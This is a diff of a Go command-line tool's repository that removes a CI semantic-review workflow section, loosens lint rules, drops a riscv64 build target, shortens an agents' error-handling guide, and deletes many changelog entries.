-            const artifacts = data.artifacts.filter(a => a.name === factsArtifactName);
-            if (artifacts.length !== 1) throw new Error(`expected exactly one quality-gate-facts artifact, got ${artifacts.length}`);
-            const artifact = artifacts[0];
-            if (artifact.expired) throw new Error("quality-gate-facts artifact expired");
-            if (artifact.size_in_bytes <= 0 || artifact.size_in_bytes > 5 * 1024 * 1024) {
-              throw new Error(`invalid artifact size: ${artifact.size_in_bytes}`);
-            }
-            if (!artifact.digest) throw new Error("facts artifact digest is missing from GitHub API response");
-            core.setOutput("artifact_id", String(artifact.id));
-            core.setOutput("artifact_digest", artifact.digest);
-
-      - name: Download facts artifact zip
-        if: ${{ steps.pr.outputs.stale != 'true' }}
-        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
-        id: download
-        with:
-          script: |
-            const fs = require("fs");
-            const path = require("path");
-            const artifactId = Number("${{ steps.artifact.outputs.artifact_id }}");
-            if (!Number.isInteger(artifactId) || artifactId <= 0) throw new Error("invalid artifact id");
-            const { data } = await github.rest.actions.downloadArtifact({
-              owner: context.repo.owner,
-              repo: context.repo.repo,
-              artifact_id: artifactId,
-              archive_format: "zip",
-            });
-            const zipPath = path.join(process.env.RUNNER_TEMP, "quality-gate-facts.zip");
-            fs.writeFileSync(zipPath, Buffer.from(data));
-            core.setOutput("zip_path", zipPath);
-
-      - name: Verify and extract semantic facts artifact
-        if: ${{ steps.pr.outputs.stale != 'true' }}
-        env:
-          SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
-          SEMANTIC_REVIEW_DECISION_OUT: decision.json
-          SEMANTIC_REVIEW_MARKDOWN_OUT: semantic-review.md
-        run: node scripts/semantic-review-verify-artifact.js '${{ steps.download.outputs.zip_path }}' facts.json '${{ steps.artifact.outputs.artifact_digest }}'
-
-      - name: Download PR semantic waiver config
-        id: waiver_config
-        if: ${{ steps.pr.outputs.stale != 'true' }}
-        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
-        env:
-          SEMANTIC_REVIEW_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
-          SEMANTIC_REVIEW_HEAD_OWNER: ${{ steps.pr.outputs.head_owner }}
-          SEMANTIC_REVIEW_HEAD_REPO: ${{ steps.pr.outputs.head_repo }}
-          SEMANTIC_REVIEW_HEAD_IS_BASE_REPO: ${{ steps.pr.outputs.head_is_base_repo }}
-        with:
-          script: |
-            const fs = require("fs");
-            const path = require("path");
-            const headSha = process.env.SEMANTIC_REVIEW_HEAD_SHA || "";
-            if (!/^[a-f0-9]{40}$/i.test(headSha)) {
-              throw new Error("missing verified semantic review target");
-            }
-            const headOwner = process.env.SEMANTIC_REVIEW_HEAD_OWNER || "";
-            const headRepo = process.env.SEMANTIC_REVIEW_HEAD_REPO || "";
-            if (!headOwner || !headRepo) {
-              throw new Error("missing verified semantic review head repository");
-            }
-            const waiverPath = "internal/qualitygate/config/semantic/waivers.txt";
-            const outPath = path.join(process.env.RUNNER_TEMP, "semantic-review-waivers.txt");
-            const headIsBaseRepo = process.env.SEMANTIC_REVIEW_HEAD_IS_BASE_REPO === "true";
-            if (!headIsBaseRepo) {
-              core.notice("fork PR semantic waiver config is ignored");
-              core.setOutput("path", "");
-              return;
-            }
-            let content = "";
-            try {
-              const { data } = await github.rest.repos.getContent({
-                owner: headOwner,
-                repo: headRepo,
-                path: waiverPath,
-                ref: headSha,
-              });
-              if (Array.isArray(data) || data.type !== "file" || data.encoding !== "base64") {
-                throw new Error(`${waiverPath} is not a base64 file at PR head`);
-              }
-              if (data.size > 256 * 1024) {
-                throw new Error(`${waiverPath} is too large: ${data.size} bytes`);
-              }
-              content = Buffer.from(data.content, "base64").toString("utf8");
-            } catch (err) {
-              if (err.status !== 404) {
-                throw err;
-              }
-            }
-            fs.writeFileSync(outPath, content);
-            core.setOutput("path", outPath);
-
-      - name: Run semantic review
-        id: semantic
-        if: ${{ steps.pr.outputs.stale != 'true' }}
-        env:
-          ARK_API_KEY: ${{ secrets.ARK_API_KEY }}
-          ARK_BASE_URL: ${{ vars.ARK_BASE_URL }}
-          ARK_MODEL: ${{ vars.ARK_MODEL }}
-          ARK_TIMEOUT_SECONDS: ${{ vars.ARK_TIMEOUT_SECONDS }}
-          SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
-        run: |
-          args=(
-            --repo .
-            --facts facts.json
-            --decision-out decision.json
-            --markdown-out semantic-review.md
-          )
-          if [ -n "${{ steps.waiver_config.outputs.path }}" ]; then
-            args+=(--waivers-file '${{ steps.waiver_config.outputs.path }}')
-          fi
-          if [ "$SEMANTIC_REVIEW_BLOCK" = "true" ]; then
-            args+=(--block)
-          fi
-          go run ./internal/qualitygate/cmd/semantic-review "${args[@]}"
-
-      - name: Publish semantic review
-        if: ${{ always() && steps.pr.outputs.stale != 'true' && steps.checkout.outcome == 'success' }}
-        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
-        env:
-          SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
-          SEMANTIC_REVIEW_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
-          SEMANTIC_REVIEW_BASE_SHA: ${{ steps.pr.outputs.base_sha }}
-          SEMANTIC_REVIEW_PR_NUMBER: ${{ steps.pr.outputs.pr_number }}
-          SEMANTIC_REVIEW_RUN_ID: ${{ steps.pr.outputs.run_id }}
-        with:
-          script: |
-            const { publish } = require("./scripts/semantic-review-publish.js");
-            await publish({ github, context, core });
--- a/.gitignore
+++ b/.gitignore
@@ -1,5 +1,5 @@
 # Build output
-/lark-cli*
+/lark-cli
 .cache/
 dist/
 bin/
@@ -7,11 +7,6 @@ bin/
 # Node
 node_modules/

-# Python (skill-bundled helper scripts)
-__pycache__/
-*.py[cod]
-*$py.class
-

 # OS
 .DS_Store
@@ -39,21 +34,9 @@ tests/mail/reports/

 # Generated / test artifacts
 .hammer/
-.lark-slides/
-/notes/
-/minutes/
 internal/registry/meta_data.json
 cmd/api/download.bin
 app.log
 /sidecar-server-demo
 /server-demo
 .tmp/
-cover*.out
-
-lark-env.sh
-/automations/
-
-# Local-only proof artifacts and coverage reports (never committed)
-coverage.html
-tests_e2e/
-tests_skill_eval/
--- a/.golangci.yml
+++ b/.golangci.yml
@@ -29,11 +29,11 @@ linters:
    - unused          # checks for unused constants, variables, functions and types
    - depguard        # blocks forbidden package imports
    - forbidigo       # forbids specific function calls
-    - errorlint       # enforces error wrapping (%w) and errors.Is/As over == and type asserts

    # To enable later after fixing existing issues:
    # - errcheck      # checks for unchecked errors
    # - errname       # checks that error types are named XxxError
+    # - errorlint     # checks error wrapping best practices
    # - gosec         # security-oriented linter
    # - misspell      # finds commonly misspelled English words
    # - staticcheck   # comprehensive static analysis
@@ -45,53 +45,21 @@ linters:
      - path: _test\.go$
        linters:
          - bodyclose
-          - bidichk
          - gocritic
          - depguard
          - forbidigo
-          - errorlint # tests legitimately do identity (==) and concrete type-assert checks
-      # forbidigo runs repo-wide (minus the boundaries below) so errs-no-bare-wrap
-      # has no gap. The framework bans (os/vfs, raw HTTP, fmt.Print, filepath,
-      # log) stay scoped to shortcuts/ + internal/ + config/auth/service via the
-      # next rule; elsewhere only errs-no-bare-wrap fires.
-      - path-except: (shortcuts/|internal/|cmd/|events/)
-        linters:
-          - forbidigo
-      - path-except: (shortcuts/|internal/|cmd/auth/|cmd/config/|cmd/service/)
-        text: (vfs|IOStreams|ctx\.Out|shortcuts-no-raw-http|filepath functions|os\.Exit|structured error return)
+      - path-except: (shortcuts/|internal/)
        linters:
          - forbidigo
      - path: internal/vfs/
        linters:
          - forbidigo
-      # internal/gen build-time generators (standalone `package main` run via
-      # go:generate) are not shortcut runtime code — no ctx/runtime/framework —
-      # so the shortcut forbidigo bans don't apply. Going "compliant" is also
-      # impossible here: a structured error return needs os.Exit (also banned),
-      # and the vfs.Xxx() alternative is blocked by depguard shortcuts-no-vfs.
-      - path: shortcuts/.*/internal/gen/
-        linters:
-          - forbidigo
-      # internal/qualitygate/cmd contains standalone CI tools. Their main
-      # entrypoints legitimately own process exit codes and stdio, matching the
-      # old tools/ layout before these packages moved under internal/.
-      - path: internal/qualitygate/cmd/[^/]+/main\.go$
-        linters:
-          - forbidigo
-      # shortcuts-no-raw-http is shortcuts-only; internal/ wraps raw HTTP
-      # for the client / credential layer.
+      # The shortcuts-no-raw-http forbidigo rule below is shortcuts-only;
+      # internal/ legitimately wraps raw HTTP for the client / credential layer.
      - path-except: shortcuts/
        text: shortcuts-no-raw-http
        linters:
          - forbidigo
-      # errs-no-bare-wrap enforced across every command/wire boundary by
-      # structural prefix, so any future business domain or command is covered
-      # without editing an allowlist. Genuine intermediate wraps inside these
-      # paths use //nolint:forbidigo with a reason.
-      - path-except: (cmd/|shortcuts/|events/)
-        text: errs-no-bare-wrap
-        linters:
-          - forbidigo

  settings:
    depguard:
@@ -110,12 +78,6 @@ linters:
                Use runtime.FileIO() for file operations or runtime.ValidatePath() for path validation.
    forbidigo:
      forbid:
-        # ── bare error wraps banned on fully-typed paths ──
-        - pattern: (fmt\.Errorf|errors\.New)\b
-          msg: >-
-            [errs-no-bare-wrap] final errors must be typed (errs.NewXxxError);
-            wrap a cause with .WithCause(err). Genuine intermediate wraps:
-            //nolint:forbidigo with a reason.
        # ── http: shortcuts must not construct raw HTTP requests ──
        # Bans request / client construction; constants (http.MethodPost,
        # http.StatusOK) and pure helpers (http.StatusText, http.Header) are
--- a/.goreleaser.yml
+++ b/.goreleaser.yml
@@ -17,7 +17,6 @@ builds:
    goarch:
      - amd64
      - arm64
-      - riscv64

 archives:
  - name_template: "lark-cli-{{ .Version }}-{{ .Os }}-{{ .Arch }}"
--- a/AGENTS.md
+++ b/AGENTS.md
@@ -11,7 +11,7 @@

 ```bash
 make build          # Build (runs fetch_meta first)
-make unit-test      # Required before PR (runs with -race where supported, e.g. amd64/arm64)
+make unit-test      # Required before PR (runs with -race)
 make test           # Full: vet + unit + integration
 ```

@@ -75,31 +75,7 @@ The one rule to internalize: **every error message you write will be parsed by a

 ### Structured errors in commands

-Command-facing failures must be typed `errs.*` errors — never the legacy `output.Err*` helpers and never a final bare `fmt.Errorf`. AI agents parse the stderr envelope's `type` / `subtype` / `param` / `hint` fields to decide their next action; the full taxonomy lives in `errs/ERROR_CONTRACT.md`.
-
-Picking a constructor:
-
-| Failure | Constructor |
-|---------|-------------|
-| User flag/arg fails validation | `errs.NewValidationError(errs.SubtypeInvalidArgument, ...).WithParam("--flag")` |
-| Valid request, wrong system state | `errs.NewValidationError(errs.SubtypeFailedPrecondition, ...).WithHint(...)` |
-| Lark API returned `code != 0` | `runtime.CallAPITyped` (shortcuts) / `errclass.BuildAPIError` (raw responses) — never hand-build |
-| Network / transport failure | `errs.NewNetworkError(errs.SubtypeNetworkTransport, ...)` |
-| Local file I/O failure | `errs.NewInternalError(errs.SubtypeFileIO, ...)` — validate the path first (`validate.SafeInputPath` / `SafeOutputPath`) and use `vfs.*` |
-| Unclassified lower-layer error as final | `errs.NewInternalError(errs.SubtypeUnknown, ...).WithCause(err)` |
-| Lower layer already returned a typed error | pass it through unchanged — re-wrapping downgrades its classification |
-
-Signatures that are easy to guess wrong:
-
- `runtime.CallAPITyped(method, url string, params map[string]interface{}, data interface{}) (map[string]interface{}, error)` — it performs the HTTP request itself and classifies `code != 0` into a typed error; just return the error it gives you.
- Typed pass-through check: `if _, ok := errs.ProblemOf(err); ok { return err }` — `ProblemOf` returns `(*errs.Problem, bool)`, not a nilable pointer.
- `.WithParam` exists only on `*errs.ValidationError`. `InternalError` / `NetworkError` have no param field — file or endpoint context goes in the message or `.WithHint(...)`.
-
-`forbidigo` + `lint/errscontract` reject the legacy `output.Err*` helpers, bare final `fmt.Errorf` / `errors.New`, and legacy envelope literals on migrated paths. Beyond what lint catches, three authoring conventions apply:
-
- Preserve the underlying error with `.WithCause(err)` so `errors.Is` / `errors.Unwrap` keep working.
- `param` names only the user input that actually failed. Recovery guidance goes in `.WithHint(...)`; machine-readable recovery fields (`missing_scopes`, `log_id`) carry server/system ground truth only — never caller-side guesses.
- Error-path tests assert typed metadata via `errs.ProblemOf` (`category` / `subtype` / `param`) and cause preservation, not message substrings alone.
+`RunE` functions must return `output.Errorf` / `output.ErrWithHint` — never bare `fmt.Errorf`. AI agents parse stderr as JSON; bare errors break this contract.

 ### stdout is data, stderr is everything else

--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -2,602 +2,6 @@

 All notable changes to this project will be documented in this file.

-## [v1.0.61] - 2026-06-30
-
-### Features
-
- **apps**: Add `db`, `file`, `openapi-key` and observability shortcuts (#1596)
- **identity**: Add `whoami` command showing effective identity (#1666)
- **docs**: Add reference map flags (#1547)
-
-### Bug Fixes
-
- **identity**: Correct identity diagnosis under external credential providers (#1693)
- **cli**: Harden git credential error handling (#1676)
-
-### Documentation
-
- **doc**: Guide document copy skill usage (#1673)
- **doc**: Fix lark-doc media token examples (#1662)
-
-## [v1.0.60] - 2026-06-29
-
-### Features
-
- **affordance**: Per-command usage guidance system with markdown source (#1565)
- **event**: Support VC meeting lifecycle events (#1632)
- **sheets**: Use `office_sheet_file` parent_type for imported office spreadsheets (#1606)
- **authorization**: Expand lark-shared auth guidance and assert clean logout JSON (#1598)
- **transport**: Add `LARK_CLI_NO_PROXY_WARN` to silence proxy warning (#1647)
-
-### Bug Fixes
-
- **install**: Load `@clack/prompts` via dynamic import to avoid `ERR_REQUIRE_ESM` (#1652)
-
-### Tests
-
- **doc**: Derive fetch test flag defaults from `v2FetchFlags` (#1428)
-
-### Build
-
- **ci**: Reduce public content false positives
-
-## [v1.0.59] - 2026-06-26
-
-### Features
-
- **slides**: Add `+replace-pages` and `xml get` shortcuts, and expose the presentation URL (#1585)
- **minutes**: Support speaker list and no-Lark speaker replace (#1594)
- **calendar/vc/minutes**: Optimize and extend calendar, vc, minutes, and note shortcuts and skills (#1571)
-
-### Bug Fixes
-
- **docs**: Hide docs `api-version` compat flag (#1580)
-
-## [v1.0.58] - 2026-06-25
-
-### Features
-
- **sheets**: Typed table I/O and error contract, workbook import/export, and skill refresh (#1355)
- **base**: Add Base URL and title resolve shortcuts (#1338)
- **drive**: Add `+member-add` shortcut with wiki space member collection collaborator support (#1204)
- **doc**: Support `create` title option (#1536)
- **doc**: Add `im-markdown` output format for doc fetch (#1550)
- **whiteboard**: Export whiteboard as SVG and update whiteboard via SVG (#1559)
- **card**: Support `card.action.trigger` event with auto-fetched card content (#1528)
- **task**: Add task event consumer (#1510)
-
-### Bug Fixes
-
- **doc**: Prefix docs resource shortcuts (#1564)
- **binding**: Skip unix mode audit on Windows (#1525)
-
-### Documentation
-
- **approval**: Sync approval skill for meta API commands (#1499)
- **doc**: Restore lark-doc style requirements (#1579)
- **im**: Document `chat.nickname` get/update/delete (#1378)
- **im**: Clarify audio message opus requirement (#1271)
-
-### Build
-
- **ci**: Add public content safeguards and reduce false positives
-
-## [v1.0.57] - 2026-06-23
-
-### Features
-
- **slides**: Add `+screenshot` to capture slide page images (or render a single `<slide>` XML snippet), returning the local file path instead of Base64 (#1358)
- **base**: Support record comments (#1043)
- **search**: Surface search API notices (#1413)
-
-### Bug Fixes
-
- **mail**: Resolve folder/label filter once per `+triage list` call (#1512)
- **meta**: Backfill enum value descriptions from options (#1541)
- **cli**: Add missing CLI headers for git credential helper (#1539)
-
-### Documentation
-
- **doc**: Refine rich block, path, and block ID guidance (#1508)
- **mail**: Trim lark-mail skill context (#1527)
- **drive**: Add permission governance workflow guidance (#1292)
-
-### Build
-
- **ci**: Bind semantic review to workflow run head (#1551)
-
-## [v1.0.56] - 2026-06-18
-
-### Features
-
- **apps**: Add `+session-messages-list` for session turn reply messages (#1402)
-
-### Bug Fixes
-
- **api**: Align API success envelopes (#1489)
- **base**: Reject out-of-range pagination flags (#1495)
-
-### Refactor
-
- Retire legacy error envelopes and enforce typed contract (#1449)
-
-### Documentation
-
- **skills**: Soften lark-doc style guidance (#1463)
-
-### Build
-
- Add CI quality gate with semantic review
-
-## [v1.0.55] - 2026-06-16
-
-### Features
-
- **vc**: Support agent meeting event workflows (#1483)
- **drive**: Support exporting Base structure snapshots (#1481)
- **doc**: Add docx cover resource commands (#1468)
- **doc**: Support `lang` for docx fetch v2 (#1459)
- **event**: Optimize subscription precheck, links, and consumer guard (#1447)
-
-### Bug Fixes
-
- **drive**: Validate drive import folder target (#1485)
-
-## [v1.0.54] - 2026-06-15
-
-### Features
-
- **mail**: Auto-attach default signature on send/reply/forward (#1415)
- **drive**: Support `original_creator_ids` filter in search (#1046)
- **cli**: Simplify proxy plugin warning and gate it on TTY (#1448)
-
-### Bug Fixes
-
- **doc**: Fix docs fetch and update ergonomics (#1466)
- **vfs**: Reject blank local paths (#1460)
- **vfs**: Reject Windows absolute paths cross-platform (#1401)
- **event**: Clarify remote bus blocker recovery (#1454)
-
-### Refactor
-
- Converge command pipelines onto a typed metadata model + catalog (#1191)
-
-### Documentation
-
- **im**: Document `@mention` format per message type (text/post/card) (#1419)
- **doc**: Clarify lark-doc create title guidance (#1474)
- **skills**: Add rename prompt for import without `--name` (#1461)
- **apps**: Drop Miaoda brand word from apps command help text (#1399)
-
-## [v1.0.53] - 2026-06-12
-
-### Features
-
- **auth**: Revoke user tokens server-side on `auth logout` (#1434)
- **auth**: Add `--json` flag support to auth subcommands (#1431)
- **token**: Mint TAT via unified OAuth v3 Token Endpoint (#1408)
- **note**: Split note into a dedicated domain with `+detail` and `+transcript` flows (#1345, #1417, #1435)
- **im**: Unify sort flags into `--sort` field and `--order` direction (#1302)
-
-### Bug Fixes
-
- **apps**: Read release error_logs from `data.error_logs` in `+release-get` (#1436)
-
-### Documentation
-
- **skills**: Optimize whiteboard skill (#1371)
- **skills**: Optimize okr skill (#1368)
-
-## [v1.0.52] - 2026-06-11
-
-### Features
-
- **events**: Per-resource subscription identity + Match hook (#1185)
- **apps**: Emit typed error envelopes across the apps domain (#1288)
- **wiki**: Emit typed error envelopes across the wiki domain (#1350)
- **im**: Add `--chat-modes` filter to chat search (#1317)
- **apps**: Exclude `.git` directory from `+html-publish` package (#1396)
- **build**: Support riscv64 prebuilt binaries in release and install pipeline
-
-### Bug Fixes
-
- **apps**: Support git credential dry-run (#1390)
- **whiteboard**: Fix parsing empty whiteboard content (#1391)
- **build**: Make `-race` flag arch-conditional to support riscv64
-
-### Documentation
-
- **im**: Document `chat.user_setting` batch_query/batch_update (#1339)
- **im**: Document `chat.managers` and `chat.moderation` API resources (#1294)
- **skills**: Optimize lark-drive skill routing (#1284)
- **skills**: Expand cite user guidance and fix typos (#1394)
-
-## [v1.0.51] - 2026-06-10
-
-### Features
-
- **apps**: Support multi dev modes (#1175)
- **im**: Complete audio/post rendering and add opt-in `--download-resources` (#1245)
- **base**: Configure initial base table schema (#1377)
- **vc**: Add recording event support (#1369)
- **minutes**: Replace words for transcript (#1372)
- **markdown**: Emit typed error envelopes across the markdown domain (#1347)
- **sheets**: Emit typed error envelopes across the sheets domain (#1348)
- **slides**: Emit typed error envelopes across the slides domain (#1349)
-
-### Documentation
-
- **skills**: Warn about `@file` absolute path restriction in lark-doc skills (#1375)
- **skills**: Remove unsupported ⚠️ from callout emoji list (#1374)
-
-## [v1.0.50] - 2026-06-09
-
-### Features
-
- **doc**: Emit typed error envelopes across the doc domain (#1346)
- **event**: Emit typed error envelopes across the event domain (#1289)
- **contact**: Emit typed error envelopes across the contact domain (#1287)
- **sheets**: Guard `+csv-put --csv` against a path passed without `@` (#1337)
- **cli**: Adjust agent timeout hint output conditions (#1328)
-
-### Bug Fixes
-
- **drive**: Add `@file`/stdin support to `+add-comment --content` (#1343)
- **slides**: Build create URL locally instead of drive metas call (#1329)
- **cli**: Clarify `--block-id` supports comma-separated batch delete in help text (#1336)
-
-### Documentation
-
- **doc**: Replace append with `block_insert_after` in skeleton workflow guidance (#1340)
- **doc**: Document `<folder-manager>` resource block (#1168)
- **drive**: Add drive comment location guidance (#1258)
-
-## [v1.0.49] - 2026-06-08
-
-### Features
-
- **events**: Add whiteboard event domain with per-board subscription (#1265)
- **im**: Support feed group (#1102)
- **im**: Add feed shortcut create, list, and remove shortcuts (#1273)
- **im**: Format feed group error handling (#1308)
- **im**: Return typed error envelopes across the im domain (#1230)
- **base**: Emit typed error envelopes across the base domain (#1248)
- **calendar**: Emit typed error envelopes across the calendar domain (#1232)
- **task**: Emit typed error envelopes across the task domain (#1231)
- **okr,whiteboard**: Emit typed error envelopes across both domains (#1236)
- **minutes,vc**: Emit typed error envelopes across both domains (#1234)
- **markdown**: Harden create upload failures (#1325)
- **drive**: Harden inspect shortcut failures (#1324)
- **slides**: Add IconPark lookup for Lark slides (#1123)
- **doc**: Remove docs v1 API (#1291)
- **cli**: Add `skills` command to read embedded skill content (#1318)
- **cli**: Fetch official skills index (#1301)
- **shared**: Document relative-path-only file arguments (#1319)
- **scopes**: Clear `recommend.allow` scope auto-approve overrides (#1272)
- **shortcuts**: Check shortcut example commands against the live CLI tree (#1244)
-
-### Bug Fixes
-
- **events**: Keep bounded event consume runs alive after stdin EOF (#1285)
- **drive**: Use docs secure label read scope (#1281)
-
-### Documentation
-
- **approval**: Restructure skill with intent table and scope boundaries (#1307)
- **skills**: Tighten drive and markdown guardrails (#1326)
- **skills**: Optimize calendar, vc, and minutes skill guidance (#1269)
- **markdown**: Add markdown domain template (#1293)
- **markdown**: Improve lark-markdown skill guidance (#1279)
- **doc**: Improve lark-doc skill guidance (#1283)
- **wiki**: Optimize skill guidance and routing boundaries (#1275)
- **slides**: Tighten routing/boundary and reconcile in-slide whiteboard (#1169)
-
-## [v1.0.48] - 2026-06-04
-
-### Features
-
- **mail**: Preserve mailbox context in `+triage` output for public mailboxes (#1238)
- **contact**: Add contact skill domain guidance (#1144)
-
-### Bug Fixes
-
- **skills**: Use JSON skills list during update (#1251)
-
-### Documentation
-
- **drive**: Refine lark-drive knowledge organize workflow (#1253)
- **vc-agent**: Require explicit leave request (#1260)
- **slides**: Add whiteboard element documentation and improve slide guidance (#1029)
-
-## [v1.0.47] - 2026-06-03
-
-### Features
-
- **sheets**: Add spec-driven shortcut package with backward-compatible wrapper (#1220)
- **base**: Add base block shortcuts (#1044)
- **im**: Complete card message format (#1198)
- **im**: Improve markdown guidance for messages (#1237)
- **vc**: Forward invite call-id on meeting join (#1243)
- **drive**: Emit typed error envelopes across the drive domain (#1205)
- **common**: Emit typed validation errors from shared shortcut pre-checks (#1242)
- **mail**: Validate `message_ids` in `+messages` before batch get (#1202)
- **wiki**: Support `appid` member type (#1235)
- **cli**: Add `--json` flag as no-op alias for `--format json` (#1104)
- **config**: Validate credentials after `config init` (#1151)
-
-### Bug Fixes
-
- **skills**: Recover empty fallback for skills to update (#1233)
-
-## [v1.0.46] - 2026-06-02
-
-### Features
-
- **im**: Add card message format support (#1218)
- **im**: Resolve markdown blank-line formatting inconsistency in post messages (#1216)
- **vc**: Inline transcript from artifacts API and add keywords (#1206)
- **transport**: Add proxy plugin mode for CLI HTTP transport (#1181)
- **agent**: Increase agent trace max length to 1024 (#1211)
- **shortcuts**: Unconditionally inject `--format` flag for all shortcuts (#1156)
-
-### Bug Fixes
-
- **cli**: Remove FLAGS section from root `--help` (#1226)
- **cli**: Stop root `--help` listing per-command flags as global (#1223)
-
-### Refactor
-
- **transport**: Own all HTTP transport in `internal/transport`, fix util layering inversion (#1213)
-
-### Documentation
-
- **base**: Optimize base skill references (#1171)
- **drive**: Add Lark Drive knowledge organization workflow (#1028)
-
-## [v1.0.45] - 2026-06-01
-
-### Features
-
- **errors**: Add typed envelope contract for auth-domain errors (#1135)
- **platform**: Support multiple policy rules per plugin (#1182)
-
-### Bug Fixes
-
- **vc**: Add domain boundaries and enrich `+notes` (#1172)
- **whiteboard**: Fix whiteboard skill (#1180)
-
-### Refactor
-
- **auth**: Update login hint and split-flow docs (#1201)
-
-## [v1.0.44] - 2026-05-29
-
-### Features
-
- **base**: Add dashboard block data shortcut and workflow docs (#1067)
- **im**: Support `--types` flag for listing p2p single chats in `chat-list` (#1077)
- **agent**: Add agent header support (#1158)
-
-### Bug Fixes
-
- **im**: Correct 64-bit MP4 box size handling to prevent panic on crafted media (#1165)
- **install**: Detect curl version before using `--ssl-revoke-best-effort` (#1124)
- **vc**: Correct `--minute-token` to `--minute-tokens` in recording reference (#1170)
- **whiteboard**: Fix whiteboard skill (#1166)
-
-## [v1.0.43] - 2026-05-28
-
-### Features
-
- **event**: Support `note` generated event (#1159)
- **config**: Decouple `--lang` preference from TUI display language (#1132)
- **mail**: Add HTML lint library with Larksuite-native autofix for `lark-mail` (#1019)
-
-### Bug Fixes
-
- **config**: Propagate `Lang` across credential boundary; respect `CurrentApp` in priorLang (#1157)
- **config**: Allow lark-channel bind source override (#1154)
- **im**: Clarify `messages-send` dry-run chat membership (#1150)
- **base**: Include `log_id` in attachment media errors (#1133)
-
-### Performance
-
- **im**: Parallelize reactions, thread_replies, and merge_forward fetches (#1146)
-
-### Documentation
-
- **im**: Update IM skill urgent APIs (#1153)
-
-## [v1.0.42] - 2026-05-27
-
-### Features
-
- **mail**: Add `+draft-send` shortcut for batch draft sending (#1017)
- **im**: Enrich messages with reactions and output `update_time` (#1095)
- **schema**: Output JSON spec envelope for all API commands (#1048)
- **event**: Support `vc` / `note` / `minute` events (#1113)
- **drive**: Add secure label shortcuts (#985)
- **affordance**: Use description and command in affordance example schema (#1126)
-
-### Bug Fixes
-
- **docs**: Remove unsupported `fetch` text format (#1109)
-
-### Refactor
-
- **auth**: Drop duplicate top-level user fields in `status` (#1128)
-
-### Documentation
-
- **doc**: Document block anchor URLs in `lark-doc` skill (#1120)
- **whiteboard**: Improve SVG/Mermaid instructions (#1097)
-
-## [v1.0.41] - 2026-05-26
-
-### Features
-
- **minutes**: Add minutes edit shortcuts (#1036)
- **minutes**: Get minutes keywords (#1079)
- **slides**: Support importing pptx as slides (#1068)
- **config**: Add `keychain-downgrade` subcommand (macOS) (#1085)
- **errors**: Add structured CLI error contract (#984)
- **apps**: Replace `+html-publish` cwd hard-reject with credential-file scan (#1072)
-
-### Bug Fixes
-
- **drive**: Support doubao drive inspect URL variants (#1106)
- **skills**: Sync skills incrementally during update (#1042)
- **apps**: Read app object from `data.app` for `+create` and `+update` (#1087)
- **common**: Escape special chars in multipart form filenames (#1037)
- **auth**: Remove fenced code block guidance from auth URL output hints (#1088)
-
-### Documentation
-
- **skills**: Fix agent routing for doubao.com URLs (#1082)
- **task**: Require `--complete=false` for pending standup summaries (#1101)
- **base**: Document UI-only field settings (#1078)
- **contributing**: Clarify contributor guidance (#1096)
-
-## [v1.0.40] - 2026-05-25
-
-### Features
-
- **wiki**: Add exponential backoff retry for `+node-create` lock contention (#1012)
- **auth**: Add `auth qrcode` subcommand and update auth docs/hints (#968)
-
-### Bug Fixes
-
- **wiki**: Rename `+node-get --token` to `--node-token`, keep alias (#1074)
- **output**: Classify wiki lock-contention error (131009) with retry hint (#1014)
- **contact**: Add actionable hint when fanout search all-fail with no API code (#1054)
- **permission**: Annotate auto-grant permission failures with `required_scope` and `console_url` (#1045)
- **validation**: Use `ErrValidation` instead of `fmt.Errorf` in `Validate` paths (#1001)
-
-### Documentation
-
- **skills**: Add 云盘/云存储 alias alongside 云空间 for agent clarity (#1073)
- **task**: Refresh `lark-task` shortcut docs (#1057)
-
-## [v1.0.39] - 2026-05-22
-
-### Features
-
- **slides**: Add `+export` shortcut to export slides (#988)
- **sidecar**: Support multi-client identity isolation in `server-demo` via per-client HMAC keys, preventing UAT cross-contamination when multiple CLI sandboxes share one sidecar (#934)
- **im**: Support Markdown image rendering in post content (#893)
-
-### Bug Fixes
-
- **scope**: Add 22 new scope entries to scope priorities (#1050)
-
-### Documentation
-
- **base**: Update location `full_address` guidance (#754)
- **apps**: Refine `lark-apps` skill description and surface, document `index.html` / `--path` hard constraints (#1040)
-
-## [v1.0.38] - 2026-05-22
-
-### Features
-
- **apps**: Gate the Miaoda apps domain off on the Lark brand — the `apps` shortcut subtree returns a structured brand-restriction error, `auth login --domain apps` is rejected, `--domain all` skips it, and `spark:*` scopes are no longer requested (#1025)
-
-## [v1.0.37] - 2026-05-21
-
-### Features
-
- **apps**: Add miaoda apps domain with 6 shortcuts covering `+create` / `+update` / `+list` / `+access-scope-get` / `+access-scope-set` / `+html-publish` (#1002)
-
-### Bug Fixes
-
- **permission**: Surface auto-grant skipped/failed cases via stderr warnings and a `hint` field in the `permission_grant` JSON output (#1015)
- **sheets**: Use `FileIO` for `+write-image` input so stdin / `-` works consistently (#996)
-
-## [v1.0.36] - 2026-05-21
-
-### Features
-
- **drive/markdown**: Return real tenant URLs for `drive +upload` and `markdown +create` (#992)
-
-### Bug Fixes
-
- **auth**: Return validation error when `--scope` is empty in `auth check` (#999)
-
-### Documentation
-
- **lark-drive**: Improve search evidence guidance (#864)
-
-## [v1.0.35] - 2026-05-20
-
-### Features
-
- **markdown**: Support wiki node target in `+create` (#883)
- **markdown**: Add `+diff` shortcut (#876)
- **base**: Add form `+detail` / `+submit` shortcuts (#759)
- **skills**: Add incremental skills sync (#965)
- **doc**: Warn before overwrite when document contains whiteboard or file blocks (#825)
-
-### Documentation
-
- **im**: Clarify media key formats for message media flags (#991)
- **im**: Add media-preview reference (#990)
- **drive**: Migrate `docs +search` to `drive +search` and fix `creator_ids` owner semantic (#951)
- **drive**: Prefer local comments for drive reviews (#981)
- **wiki**: Add wiki base fast path (#982)
-
-## [v1.0.34] - 2026-05-19
-
-### Features
-
- **drive**: Switch markdown export to V2 `docs_ai` fetch API (#948)
